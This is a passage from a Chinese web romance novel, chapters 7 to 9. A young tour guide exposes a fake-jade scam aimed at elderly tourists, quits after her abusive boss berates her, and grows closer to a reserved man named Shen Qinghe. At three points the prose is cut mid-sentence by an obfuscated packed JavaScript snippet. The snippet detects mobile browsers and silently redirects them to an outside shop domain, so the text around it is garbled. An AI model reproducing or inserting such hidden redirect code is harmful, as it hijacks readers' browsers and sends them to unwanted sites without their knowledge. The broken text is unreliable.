没等邬蔓纠结太久,老板发微信问她去哪了,怎么不跟大部队走。 邬蔓随便找了个借口。 老板继续发消息,让邬蔓学着点别人怎么卖出去的玉,给她看游客们付定金的截图, 【小郭这几单要是成了,光是卖玉的提成就能拿五百多。小邬啊,你好好想想,一个月是多少钱。】 邬蔓按着心中不耐回,【我说了我不卖这个。】 她宁可去海边晒大太阳。 邬蔓看着老板发来的截图,成交订单里有那个奶奶的头像。 昨晚她和奶奶住一间房,老人家见她穿的少,特意去找僧人借了厨房煮姜汤给她喝,说邬蔓和她孙女差不多大,别不注意天气感冒了。 邬蔓和她交谈才得知,老人家今年七十多,她唯一的孙女小时候早产,身子不太好,前段时间又生病休学在家。 听说普华山很灵,来这里给孙女求求健康长寿。 换算了一下定金,奶奶买了三万多的假玉。 邬蔓难受死了,恨不得抢过老板手机把定金给人家转回去。 身后传来脚步声,邬蔓以为是陌生人路过,站开点让出路。 头顶香樟树树冠宽广,像一把天然雨伞,遮住天空中忽然飘落的细雨丝,枝叶在风中荡起波纹,弥散出被雨水激发的薄荷味。 脚步在沙沙的风声里停下。 邬蔓感觉到一点热气,她回头,看见沈青鹤同样站在树下,手里撑着一把伞,食指搭在伞柄,小臂上挂了条黑茶色围巾。 沈青鹤把围巾递给邬蔓,“去文创摊买的。” 算是解释来路。 很明显是条女款围巾,邬蔓没扭捏道谢接过。 羊绒围巾上还残留着男人的体温,披在肩上裹紧,暖乎乎的温度把邬蔓包围。 她忍不住在心里感叹,怎么会有人能这么细致入微。 短短几天的相处里,沈青鹤体贴到邬蔓简直要怀疑是杀猪盘的程度。 不过转念想想,杀猪盘杀猪盘,好歹得有只猪吧? 她身上还真没什么价值。 “你似乎不太开心?”沈青鹤拿出第二把雨伞递给邬蔓。 “有这么明显吗?” 邬蔓有点不好意思。 沈青鹤笑了下,“很明显,变得不爱说话,总发呆,之前我喊你你也没听见。” 还有,脑后的马尾也没有翘起来,一直软趴趴垂在背上,像霜打的茄子。 “我才不是——!” 话说一半,戛然而止,仿佛被一只无形的手扼住喉咙。 男人轻轻“嗯?”了声。 “好吧,你说得对。” 难道要她说,她听见了,故意装没听见吗? 担心被沈青鹤发现端倪,邬蔓随便找了个话题,“你怎么没跟他们一起买玉……” 嘴快说完,才发现不对劲。 伞下男人掀起眼皮盯着她,唇角微微上弯,眼底似是飞快闪过一道狭光。 “你确定要我买玉?”玉字被他咬重。 邬蔓:“……” 能不能赶紧蹦出来个哪路神仙把她收走啊! 她怎么还能脑子一抽自己往枪口上撞的?! 人在尴尬的时候就会变得特别忙。 邬蔓拢拢披风,整理了一下马尾,打开雨伞,最后垂头,视线定格在鞋带上。 没开,但可以换一种蝴蝶结。 沈青鹤看着对面突然忙成陀螺的邬蔓,骨子里良好的教养让他往前走一步,帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525806|203490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她撑住伞。 邬蔓蹲着系鞋带,白绳在她手指间绕来绕去,拉住左右一抻,系成完美圆润的蝴蝶状。 另一只鞋如法炮制。 “你说,他们真的看不出来那些是假玉吗?” 沈青鹤用问题回答问题,“你因为这个不开心?” 邬蔓也知道自己问的有些愚蠢,看出来是假的又怎么会买。 叹了口气,“是啊,我不想骗人。” 沈青鹤似乎思索了下,“严格来讲,这件事和你没关系。” 他在群里,自然看得见邬蔓没有推销过那些玉饰。 邬蔓还是不好受,“你说,我是不是应该做点什么?” 与其说是疑问,不如说是她早在心里做好的决定。 沈青鹤认为此时自己的回答并不重要,不过看着女孩毛茸茸的发顶和她绕在指尖的小蝴蝶,他还是说,“其实你祈祷时蛮诚恳。” 邬蔓:“???” 话题怎么拐过去的? “所以想做什么就做吧,会有好运的。” 邬蔓噗嗤笑了,她站起来跺跺脚,“我怎么记得你好像不信这些来着?” 女孩起身起的猛,马尾在空中扬起又落下,像哺乳动物开心时摇晃的尾巴。 沈青鹤看着尾巴在空中的弧度,也笑道:“我也说过,可以暂时信一信。” 两人回去时,雨已经停了。 邬蔓心情放松地回到队伍,左等右等,找到个小郭导游接电话的时机,揽住老奶奶胳膊就把人往外拉。 邬蔓小声在耳边劝她不要买玉。 当然,没法直接说这些玉是假的,戴了反而会对身体不好。 但她编的例如玉饰没那么灵,拜菩萨重要的是心诚等原因很显然没法说服老奶奶。 反而起了反作用,奶奶拍拍邬蔓的背,说知道这些玄学作用有限,但总要试一试。 甚至因为邬蔓的劝阻,认为她人很实诚,是个好孩子,要再多买点回去给朋友们分。 邬蔓越听脸越黑,头都大了。 正巧小郭导游打完电话回来,奶奶立马说还要再付点定金。 邬蔓赶紧上前一步横在两人中间,生怕被抢走,“这是我的客户,我来吧。” 小郭导游:“……随便。” 为了点提成至不至于呢。 邬蔓缠着老奶奶唐僧念经似的叨叨了一下午,怎么说都改变不了她要买玉的决心。 她急得满头大汗,想着现在骗子专挑老年人下手也是有原因的…… 到最后没招了,勉强把人劝住明天再付钱。 晚上俩人回酒店之后,邬蔓郑重地把事情来龙去脉讲的清清楚楚,告诉她定金要回来之后不要再买玉,只当来普华山游玩散心。 心里的大石头终于落地,邬蔓难得睡了个好觉。 第二天,是被手机铃声吵醒。 邬蔓举起手机一看,才六点多,有点懵,屋里只有她一个人在。 她接通电话,老板的声音从手机里传出来。 “邬蔓,看看群里,都因为你干的好事。” 邬蔓困得睁不开眼睛,直觉老板的语气不对劲,她赶紧点进微信眯着眼睛看群聊。 普华山6.23的群聊里,退钱刷满屏,划拉几下都划不到头。 她突然惊醒,又细细看。 群里以一家三口带头,要旅行社退买玉的定金以及团购费用,不退钱他们就要一起报警。 包括老奶奶在内。 听筒里老板的语气无比阴沉,“你知道这条线能挣多少钱吗?现在全被你搞砸了,现在立刻马上给我滚回津川,邬蔓,你就等着赔钱吧!” “我……” 嘟嘟嘟嘟嘟…… 电话被挂了,邬蔓回拨回去,只听见冰冷的忙音。 邬蔓看着群里不断刷屏的退钱,心底发慌。 不买玉就好了,为什么团费也要退掉,高铁住宿门票人工这些旅行社都是花了钱的…… 邬蔓不知所措地攥紧手机。 7. 小笼包 邬蔓恍恍惚惚洗漱穿衣,期间差点把洗面奶当成牙膏放嘴里,想着这些事收拾的特别潦草,房间里另一个床铺周围什么都没有,床铺是凉的,人早走了。 邬蔓在心里骂自己蠢,昨晚怎么就没留意老奶奶的表情,说完事情就只顾着睡觉。 老板的语气很不好,邬蔓只是想想回津川后和他面对面沟通的样子就头皮发麻,打电话一直在忙音,发微信也不回,没给指令,邬蔓只能先自己行动。 她挨个敲着酒店房门,果不其然,根本没有回应。 一整个楼层空空荡荡,游客们早跑了,把她一个人留在这里。 不报期望地敲响最后一扇门,就在邬蔓转身要走的时候,门突然被人从里面拉开。 男人穿着纯色棉质睡衣,微微弓背,单手撑住门板,眼周泛红,懒懒塌着眼皮,短碎发凌乱贴在额前,不似白日的干爽整洁,像一颗毛海胆。 男性晨起时的荷尔蒙气息兜头而下,身高差让邬蔓近乎扑在沈青鹤怀里,她感觉这气息烫得灼人,无意识被逼退一步。 他问:“怎么了?” 嗓音里带着刚起床时特有的沙哑。 也不是一个人,沈青鹤还在。 邬蔓鼻子突然有些酸。 她要说话,第一次嗓子没发出声音,清了清嗓子,才顺利说出口。 “他们都背着我走了,说要退钱,不退钱就报警。” 沈青鹤现在脑子有点钝,被这句没头没尾的话打的措手不及,没马上回复。 邬蔓顾不上这些,满肚子的委屈疑惑愤怒害怕,在看见还有一个人留在这里时全部抒发出来,她语无伦次,继续补充,“昨晚我告诉奶奶我们卖的玉是假的,说完我就睡觉了,根本没注意她,我睡得死不知道他们是什么时候走的,刚才老板给我打电话,说全部的人都要求退钱。” “不给退钱就要报警,这件事警察管吗?事情好像全被我搞砸了,我是不是不应该说……” 沈青鹤大概听明白是什么意思了。 他让邬蔓进屋,拧开瓶水给她。 “你先喝点水,我看看群聊。” 邬蔓这才想起来,沈青鹤手机没网,白天一直连她的热点,所以是看不见群消息的。 也怪住酒店的预算不足,过于简陋,一些基础的设施不够完善,连WiFi都不提供。 把手机递给沈青鹤,邬蔓握着那瓶水没喝,不断回忆着后悔,又回想老板的语气以及那句赔钱。 想让她赔什么钱?卖玉的还是那些人团购的费用? 邬蔓控制不住自己不停算账,恐慌感在心底蔓延。 三分钟……或者十分钟,沈青鹤把手机换给邬蔓。 “抱歉,我昨晚也没注意他们走了。” 他盯着邬蔓的脸,她的脸色真的很难看,好像快要哭出来。 电话铃突然响起,邬蔓垂头看见来电显示,五官恍了一瞬,按下接通键。 这个时候能给她打电话的也只有老板,屋里太静了,以至于老板的威胁恐吓,甚至人身攻击被听得清清楚楚。 他好像变了一个人,突然的变脸让邬蔓完全乱了阵脚。 她既觉得被男人粗硬的嗓音吼这件事很可怕,又因为沈青鹤在旁边,纷乱的心绪里还要多分出一缕难堪出来。 沈青鹤微皱眉,涵养令他他极少露出负面情绪,但此刻也认为邬蔓老板的态度实在太过糟糕。 员工在邬蔓老板那里完全丧失人权,沈青鹤从小接受国外教育,很难想象到还有这样恶劣的人。 沈青鹤看着邬蔓坐在他对面,圆圆的大眼睛里渐渐酝酿出水光,她生硬地垂眸,盖住所有脆弱和难过。 沈青鹤难以旁观下去,他比动作询问邬蔓需不需要他接过电话。 邬蔓咬着唇摇摇头。 实在是太难堪了。 空气里安静的令人难受,中年男人的喊叫声异常吵耳,沈青鹤蹲下来去看邬蔓的双眼——她低低垂着,不蹲下很难对视。 那双眼里积聚无数泪花,眼眶红的吓人,她肩膀微微发抖,看得出在极力克制。 沈青鹤心口一痛,声音柔软下来。 “别担心,我帮你赔钱。” 他找到个合理的理由,“昨天是我劝你去说的,这件事我也有责任……” 沈青鹤声音渐渐消失,因为邬蔓哭了。 泪水无声从她眼里一滴滴连成串砸下来,邬蔓突然扭过头,电话还在继续,她哭的没有声音,也不想给别人看,执拗地拧转身体。 擦了一把眼泪,想不再哭,最后却是擦了一把又一把,情绪失控,她的背影克制不住颤抖。 沈青鹤说了句,“失礼了。” 轻柔拍着女孩单薄的背,动作比哄睡婴孩还要温柔。 / 电话挂断,两人心照不宣地没再提起这通电话的内容,邬蔓决定先改签回津川。 游客们都走了,原本行程也是今天回津川。 邬蔓尝试着给昨天一起带团的导游小郭发消息,发现自己被拉黑了。 回去的路上比来时更忧愁,好几次邬蔓心神不宁差点忘记行李,都是沈青鹤在一旁帮忙盯着。 她这种状态,沈青鹤实在是不放心,在邬蔓打算回办公室之前难得强硬拉人去街边吃了顿午饭。 邬蔓没胃口,沈青鹤就带她去包子店。 热气腾腾的小笼包挤在竹编蒸笼里被热情的店家端上来,沈青鹤让邬蔓尝尝。 他不止点了小笼包,还点了烧麦和小米粥。 “我最近常在这家店吃早餐,味道不错。” 沈青鹤夹起白胖包子,筷子灵巧朝外一扒,喧软的面皮从中间破开,露出里面金黄鲜美的肉馅,他有意展示给邬蔓看,瞧见邬蔓眼神似乎落在包子上,又将夹成两半的包子举高了些,鲜嫩的肉汁溢出,挂在白嫩包子皮上。 邬蔓咽了咽口水。 肚子很给面子咕噜噜叫起来。 俩人从早上到现在一直没吃东西,其实早饿了,只是邬蔓撑着一根弦,没察觉到。 她举起筷子,也夹了个包子。 热腾腾的包子下肚,胃里舒服起来,大概吃到第三个,她后知后觉发现是真的很好吃。 肉馅调的咸鲜正好,一点都不腻,秘制的调味全浸在亮晶晶的汁油里,咬下去包子皮很软,肉馅也软糯,是很奇特的口感。 美食果然可以治愈人的坏心情,邬蔓喝下最后一口小米粥时想。 这顿饭让她恢复了些体力和理智,好像也没那么怕被老板骂了。 吃过饭,沈青鹤还是不太放心邬蔓一个人去,他很坚持地送邬蔓到公司楼下,帮她拿着行李箱。 对于邬蔓老板,沈青鹤没多少信任,他圈子里很少有喜形于色的人,不开玩笑,沈青鹤甚至在想邬蔓的老板会不会动粗。 邬蔓鼓足勇气上楼,做好了被骂得狗血淋头的准备,到了办公室,发现其他同事不在,只有老板一个人坐在皮沙发上。 冷眼敲着人走进来,他抽了口烟。 “你知道我损失有多大吗?你知道多少人上赶着搭不上秦老板的线吗?” 邬蔓还没说话,老板嗤笑,语带讥讽,“你不知道。邬蔓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525807|203490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你是成了心跟我过不去是吧?” 邬蔓攥紧手,从中汲取一些力量小声辩解,“当时,我说了我不……” “长点脑子行吗?大学生读书读傻了吧?不想干就滚!” 又一次,被打断说话。 不管是温和的态度还是暴戾的老板,不变的是她一直得不到尊重。 耳边老板继续细数她的罪行,邬蔓已经听不见,声音像从很远的地方传来,她突然耳鸣,嗡的一声,盖住所有责备。 邬蔓低垂着的头抬起来,她看着老板的嘴开开合合,香烟在他手里缓缓燃烧。 她静静地说,“我真的很讨厌你挂在嘴边的读大学就怎么样的句式。” 邬蔓牵起唇角,勉强笑了下。 “毕竟我学习一直不怎么样,实在算不上读书读傻了。” 老板没想到平时老实的邬蔓会顶嘴,比刚才乘以十倍的怒气全加在音量里。 邬蔓听不真切,她继续说,“我也很讨厌你总是打断我说话。” 她环顾办公室一周,径直走向自己的工位,把她的水杯垫子和纸巾一口气卷起来,大步朝门外走。 “记住,是你开了我,我现在离职不干了。” 血液在皮肤里燃烧沸腾,真说出离职了的那一刻,只有肆无忌惮的开心,喜悦从她指尖、笑容里溢出来,仿佛猫科动物被从天灵盖撸到尾巴尖,她兴奋,又激动。 肾上腺素飙升,邬蔓不想等电梯,她抱着自己在办公室里的痕迹噔噔噔从十八楼往下跑,邬蔓一点都不觉得累,只有用不完的精力,将过往烦恼远远甩在身后。 邬蔓一口气跑到一楼,出去时,对着沈青鹤露出灿烂的微笑。 她语调格外轻快,“我离职啦~” 沈青鹤推着行李箱跟上她,“恭喜。” 邬蔓感觉风也温柔,阳光也美好,她去旁边的便利店买了根棒冰。 葡萄味的,从中间掰开分给沈青鹤一半,俩人边吃边走,浓郁的葡萄香精味冰冰凉凉,邬蔓咽的很急,这样才好给自己降温。 囫囵吞下,太阳穴都跟着发紧。 吃完棒冰,邬蔓扫了两辆不同牌子的共享电瓶车,“走啊,去我家,我请你吃饭。” 邬蔓不给沈青鹤拒绝的余地,她现在太开心,急切的需要一个人分享,“你算是我在津川第一个朋友。” 沈青鹤把邬蔓的行李箱放在电瓶车前头,“我车技不太好,你带路吧,慢点开。” “哦?我可是秋名山车神——括号,小电驴版,行李箱放我这儿。” 邬蔓把自己行李箱又拿了回来,没再废话,直接转动车把蹿了出去。 沈青鹤在后面无奈摇头。 看来在激动的时候,让人克制速度是件难事。 他也坐上去,不太熟练地跟在邬蔓身后。 邬蔓对自己的厨艺有斤两,她想好好请人家吃饭,在楼下蔬菜店买了很多肉卷丸子,烫火锅的蔬菜。 大手一挥,买了最贵的火锅底料,又买了西瓜和草莓,到最后俩人几乎是把自己挂在东西上上了楼。 沈青鹤几乎没有过这样纯粹的体力运动,他平时有健身的习惯,不觉得很累,却感觉很新奇。 是种从未有过的体验。 邬蔓大包大揽去洗蔬菜备料,家里煮火锅想来也没什么难度,于是沈青鹤找了个角落的桌子帮忙切水果。 在邬蔓洗蔬菜时,沈青鹤窥见一点端倪。 实在是…… 沈青鹤很难想象,那一袋子娃娃菜油菜和茼蒿等如果一根一根洗的话,他们要晚上几点才能吃上。 8. 气泡酒 邬蔓读大学时,姑娘们没事总出去聚会,大家生活费有限,并不全用在胡吃海喝上,偶尔也AA团购KTV的券,大学城附近娱乐设施扎堆地开业,卷的很,宿舍四人一人十几块就够唱整个下午。 四个人里只有邬蔓不喝酒,她会提前买一杯奶茶,草莓酸奶或者蜜瓜牛奶,还可能是新出的水果茶,总之是要配一杯喝的东西。 要不然另外三个都喝酒,她干巴巴地喝水总觉得自己十分不合群。 虽然喝奶茶也没合群到哪里去,还总被嘲笑上小孩那桌…… 邬蔓铲了一玻璃杯的冰块,滋啦一声拉开气泡水拉环,单手拿着易拉罐豪情壮志地往里面倒。 粉色液体咕噜咕噜淹没薄荷冰,甜甜的草莓味争前恐后地溢出来。 “干杯呀!” “……” 沈青鹤看着对面身子险些载饭桌上却丝毫不觉,执着碰杯的某人,不知道该不该笑。 那是邬蔓喝的第二瓶气泡酒,刚开始沈青鹤并没有发现什么不对,直到他一时没留意,再抬头时发现邬蔓夹着拉环蘸了酱料往嘴里送,嚼吧两下,没耐心地皱眉评价,“这扇贝坏了吧?你别吃这个。” 然后下一秒邬蔓筷子就准确地拐到拼盘的包装袋上,说要让沈青鹤尝尝楼下的豆皮,味道很好。 ……怎么净往垃圾上夹。 沈青鹤哭笑不得,拿公筷往邬蔓碗里夹了些煮好的肉和丸子。 邬蔓低头看了半天堆成小山的碗,脑子慢吞吞地思索,眼睛嘴巴对了半天账,终于吐出来两个字,“谢谢。” 看得出来邬蔓从小被教育的很好,很讲礼貌。 并且礼尚往来地夹了一筷子塑料袋,特热心塞沈青鹤碗里,“你也吃,多吃点肉。” “……谢谢。” 或许是酒精作用导致,邬蔓眼神变得有点呆滞,眼皮像被人用胶带固定在眼眶上一样,看得出睁眼闭眼很重,水汪汪的黑眼仁直愣愣望着对面,沈青鹤喊她时,也是脑袋带着眼睛动。 都已经这样了,邬蔓人也没倒下,话痨属性莫名发挥到最大,问沈青鹤,“你说我什么时候能变成百万富翁?” 她不执着于沈青鹤回答,下一句话紧接着,“你给我的围巾真暖和,嘿嘿。” 沈青鹤无奈笑笑,“你要不要回床上睡觉?” 话题跳得太快,一听就知道邬蔓比她表现得还要更不清醒。 “什么?你说你还要去?” 邬蔓突然神情激动,举起右手在空中晃,头摇的像拨浪鼓。 “你可别去我老板的团了,我给你推荐别的,你不知道他可黑心了!” 邬蔓吐槽起老板,简直不需要打草稿。 “上次你去昌宁玩,我们平时团购就卖399,他收你两千!” 沈青鹤倒了杯温水冲开蜂蜜,放在邬蔓手边。 对于多交钱这件事没反应,反而更关注邬蔓的状态。 很难得,喝醉的人思维如此清晰,当然前提是要忽略掉邬蔓的大舌头和口齿不清。 嘟嘟囔囔说了半天,邬蔓又回到离职的事上。 “老板还差我上个月和这个月的工资没发……” 她灌下一口酒,甜辣味直直灌进胃里,嘴巴瘪起来,特别难过。 “他骂人好难听哦,我爸都没这么骂过我,你说他会不会叫我赔钱啊呜呜……” 沈青鹤拿走邬蔓误拿的气泡酒,换成气泡水,思索了一下,“按道理来说,不需要你赔钱,如果老板开除了你还要再付你一笔遣散费。” 邬蔓迟缓眨眼,呆住。 沈青鹤解释道:“你这种算是有一定正当理由,不过没有提前一个月通知,也是要赔你n+1的。” “!!!” 邬蔓立马拎起手机,发消息喊,“听见没黑心老板,你得赔我钱,还有我的工资,马上给我转过来!” 嗡嗡—— 沈青鹤低头,他用的还是邬蔓的小号,里面的好友他只认识邬蔓的大号。 此时此刻,那个忧愁的黛玉上班头像连着炸来好几条消息,把他当成了老板索要工资。 男人莞尔一笑,眼角眉梢仿佛被春风突然拂过,眼底盛满细碎的光,像一盏暖暖的小灯。 看向邬蔓的眼神似乎也带上了温度。 沈青鹤这个人向来是性子温雅,唇边永远带着从容的笑,永远不与人红脸,像清雅的竹也像安静的树。 但他现在突然起了几分逗人的坏心思。 沈青鹤顶着无比少女的粉色双尾马头像,用邬蔓的热点,给她回了消息。 【工资到账10w元。】 邬蔓原本已经有些困了,看见手机消息的时候,挣扎着睁开眼睛,像是要把头塞到屏幕里,盯着那几个字,喃喃道:“十、十万?” 她使劲揉揉双眼,又确认了一遍数字,是十万元没错。 邬蔓呆了呆,忽然一个猛起身站了起来。 像读书时被老师罚站,整个人愣愣又乖乖的,身后马尾辫因重力晃来晃去。 “我居然有十万元了!” 邬蔓高兴地大叫,“那我,终于可以去旅游了?” 女孩瞪大双眼,客厅亮晶晶的光全被她盛入眼中,她扬起嘴角,掰着手指数,“我可以去玩,可以拍好看的照片……” 沈青鹤见到邬蔓的反应,忽然有点负罪感。 他有些后悔,自己或许不应该开这个玩笑。 邬蔓转来转去,嘴里哼了半天不知调的歌曲,视线终于又落到了沈青鹤身上。 “你、你为什么总跟着我的团……” 邬蔓脑子里像掺了浆糊,一会是闺蜜说的帅哥难遇,先脱单再说,一会又发散到沈青鹤身份成谜,感觉是个危险分子,想来想去,她问出清醒时不会直接问出来的话。 “你为什么没有身份证电话号啊?” 沈青鹤抬眉,琥铂色的眸子落向桌子中间咕噜噜煮开的电锅,就在邬蔓以为他不会回答的时候,他语气有点过分平静地说:“不是没有,只是不能用。” “因为我不想被人找到。” / 隔天,邬蔓浑身软绵绵从床上爬起来。 她晃了晃因宿醉有些昏痛的头,晃了没几下,突然诡异地停了下来。 昨天那些酒后的零星片段闪回在她脑海,她以一个摄像头的视角将自己的糗态看得清清楚楚。 “啊——!” 邬蔓叫了一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525808|203490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她摸着手机,手指解锁的时候险些抖成帕金森患者,哆哆嗦嗦地点进微信…… 完了。 完了完了。 丢大人了。 邬蔓看着她和沈青鹤的聊天记录,恨不得直接把所有聊天记录毁尸灭迹。 两人的聊天记录停留在沈青鹤的最后一句话。 【厨房我收拾过了,你早点睡。】 随着这句话,昨晚自己爬行回卧室床上的记忆彻底复苏,邬蔓想到自己在沈青鹤面前cos壁虎,突然想直接逃离这个城市。 她握紧手机,去厨房看了眼,果然所有东西被收拾的整整齐齐,似乎不止厨房,邬蔓随手乱丢的玩偶被人整理后摆整齐,垃圾也带了下去。 邬蔓深吸一口气,选择去厕所消化情绪。 她面如死灰地给林知夏发消息。 邬蔓:【昨天沈青鹤来我家了。】 林知夏秒回:【???】 【不是?什么情况?】 林知夏这边的信息还停留在,邬蔓和沈青鹤都去了普华山。 怎么直接快进到去邬蔓家了? 邬蔓:【昨天他来我家吃火锅……】 字没打完,对面打来视频通话。 邬蔓挂断。 【我上厕所呢!】 【汗.jpg】 林知夏急得不行,心里像八千八百个蚂蚁在挠,【你打字快点!】 邬蔓:…… 【简而言之就是昨天我被老板开了,沈青鹤帮我拿行李一起回的津川,我请他来家里吃火锅。】 林知夏:【这么多事我怎么才知道!菜刀.jpg】 【你被开了又是什么情况?】 邬蔓也意识到貌似林知夏的信息断层太多,于是敲着手机把事情的来龙去脉都讲了一遍。 【我靠!你们老板也太过分了吧?你这哪是打工,不知道的还以为他活在旧社会把你当他家奴隶了!】 邬蔓对此双手双脚赞成,【不过昨天沈青鹤说的n+1确实也提醒了我,我离职一时爽,老板还欠我接近两个月工资。】 林知夏狐疑问,【他应该不至于不给吧?现在互联网这么发达,再说了还有劳动仲裁。】 邬蔓截图,发给闺蜜。 【很显然,他就是不打算给我。】 【.jpg】 截图是邬蔓和老板的聊天记录,今早邬蔓发消息过去,喜提一个红色感叹号。 【对方还不是你的好友。】 林知夏飙了句脏话。 【那现在怎么办?你之后有什么打算吗?】 邬蔓仰头,长呼出一口气。 【夏夏,你说我要不要去旅游gap一段时间?】 那边沉默了一会,【真的不开心就去玩吧,留一丢丢钱东山再起,大不了没钱了回老家来我家住嘛。】 林知夏知道邬蔓不愿意回家住,她大概是察觉到这次邬蔓的决心,并没有多聊现实层面的事情。 人压抑久了是会疯掉的。 这条消息紧跟着一笔转账。 【¥5000.00,请收款】 【闺蜜永远是你坚强的后盾!别太爱我哦~】 9. 蘑菇头 又过了几天,到了应该发工资的日子。 邬蔓从早上等到晚上12点,一天过去,银行卡上的数字一动未动。 果然没给她发工资。 心里那块重石落了地,并非轻松,而是重重砸她脚趾上,那疼痛感相当直接,让邬蔓有种就知道黑心老板不会发工资但还是期待这件事可以圆满解决的自己真是蠢到家了的想法。 邬蔓“咔嚓”一声咬下红苹果,搁嘴里嚼嚼嚼,她以一个堪比八爪鱼的姿势用肩膀抵住沙发,脚搭在沙发扶手上翘的很高。 白皙的脚在空中轻轻晃悠,在和同事问过确认她们工资已经发放后,邬蔓心里“噌”地燃起一股斗志。 老板该不会以为她真不懂法吧? 受那天火锅局沈青鹤说n+1赔偿的契机,邬蔓这几天在家里闲来无事搜了搜,平台精准捕捉,给邬蔓推送的都是维权成功的案例。 邬蔓无比自信的打电话,打了这个局又转那个局,转来转去,终于转到实际负责的单位——掌管邬蔓公司那边辖区的区劳动仲裁大队。 话务员叫邬蔓提供一些证明,在工作日去登记才可以记录。 于是邬蔓等到工作日又来回跑了几遍提交证据,事情进展推进的慢,暂时还没结果但又赶上新休息日了。 邬蔓的斗志在这些繁琐流程里磨的粉碎,她又去翻成功案例,才注意到贴主本人定位在沪城,大城市投诉维权机制特别完善,所以工作效率也高,津川这方面很落后,并且以协调处理为主,她不知道要等到猴年马月去。 前前后后,邬蔓在家里快待了半个月。 最初旅行的冲动被冲淡,她甚至偶尔会反扑后悔的情绪。 一到这个时候,她就赶紧摇摇头,接受不了自己持续回忆垃圾工作的事实。 估计再拖延下去,邬蔓都要重新开始找工作了。 因为每gap一天,都是在消耗现有的积蓄。 邬蔓一边看着二手车销售朋友圈里的车,一边分心上小地瓜找津川维权的帖子。 这二手车销售是邬蔓半年前加的,那时候她爸妈给弟弟买了车,不知出于什么心理,她那段时间也看起了车,还加了不少卖车的销售,有二手车行有4s店,但又被价格吓退,至今也没好意思问太多。 邬蔓的家庭条件很普通,一家四口靠着老家的小卖部生活,邬蔓弟弟邬哲去年毕业,出来工作有小一年了,家里亲戚忙着给他介绍对象,父母这才给他买了辆充场面的二手奥迪A4。 邬蔓算是能理解一点父母的做法吧…… 但不代表心里毫无波动。 大社会背景下,家里资源一向优先倾斜给弟弟,比如弟弟的生活费总是要比邬蔓的多,理由是男生饭量大。从小她就要承担起小大人的责任看管弟弟,邬蔓时常觉得自己在父母眼里不是一个纯粹的孩子。 因为在需要她照顾弟弟时,父母会说你大了,让让弟弟。但家里决策的事她永远插不上口,这时候父母会说,你还小,你不懂。 邬蔓的青春期就这样忽大忽小地长大,直到她大学毕业留在外地。 只不过她毕业工作三年,父母也没提过给她买车或者买房,家里条件不好,这些其实邬蔓真的可以理解,或许可以给她买条项链、戒指…… 或许也可以不买东西,聊聊他们的困难……总之起码要有个理由的吧? 但什么都没有,邬哲提车时,邬蔓是在朋友圈刷到的。 他特意打扮了一番,头发上抹了发泥抓出造型。看起来像模像样,站在车旁边拿着车辆登记证书的绿本,对着镜头笑得一脸明媚。 照片一角有人在打彩带和气球,邬蔓通过结婚戒指认出那是妈妈的手。 配文是:二十出头,不靠自己全靠爹妈努力~ 后面缀着爱心和抱抱的表情符。 邬哲脸上的青春洋溢似要冲出屏幕,那是发自内心的笑,一点做不得假。 他在爸妈身边心态很轻松幸福,可邬蔓每次回家只感觉沉默又压抑。 谈不上父母对她有多不好,至少她学习很差,大学还是上了,读书时生活费也没断过,和网上自己挣钱需要交家用或者扶持弟弟的不幸生活还离得十万八千里。 过年回家给她和弟弟的压岁钱都是一人两百元,邬蔓觉得自己挑不出理。 不过正是这种挑不出理的憋闷和心里的失衡感,让邬蔓不愿意回家。 她有时感觉自己很坏,像暗中窥伺嫉妒弟弟的恶毒姐姐。 销售发在朋友圈是一辆二手长城炮皮卡车,挂价3.98万,车主急出。 车子看照片不太旧,是辆柴油四驱的自动档,车主还加了些基础的小改装,美中不足的是银色车漆邬蔓不喜欢,但是价格真的很便宜。 最让人心动的是,原车主改了敞篷天窗! 大概是受职业影响,邬蔓和大部分女生喜欢的车型不太一样,她偏爱这种集收纳与越野功能为一体的皮卡车,很适合自驾游露营。 现在网上改装视频教程一堆,皮卡车后斗稍微改造一下,就是一张露天的移动大床,躺在上面看天看星星,想想都觉得美好。 更别提车主还改装了敞篷,站在副驾吹吹风,那得有多爽快惬意。 3.98万,几乎是邬蔓关注皮卡车以来,相对合适的二手车最低价了。 可她手里一共才有四万元,就算加上老板拖欠的工资也就五万多点。 至于沈青鹤说的n+1,邬蔓知道自己大概是拿不到,因为老板连社保都不给交,所以邬蔓也没想过费劲巴力的要,拿回自己应得的部分就好。 邬蔓不走心划着小地瓜,想买,考虑现实情况又不能买。 不知道下次还能不能遇到这样适配的了…… 手指不知不觉划到了妈妈的微信上。 邬蔓犹豫再三,还是揣着一颗紧张的心敲字。 删删减减,最后发出去。 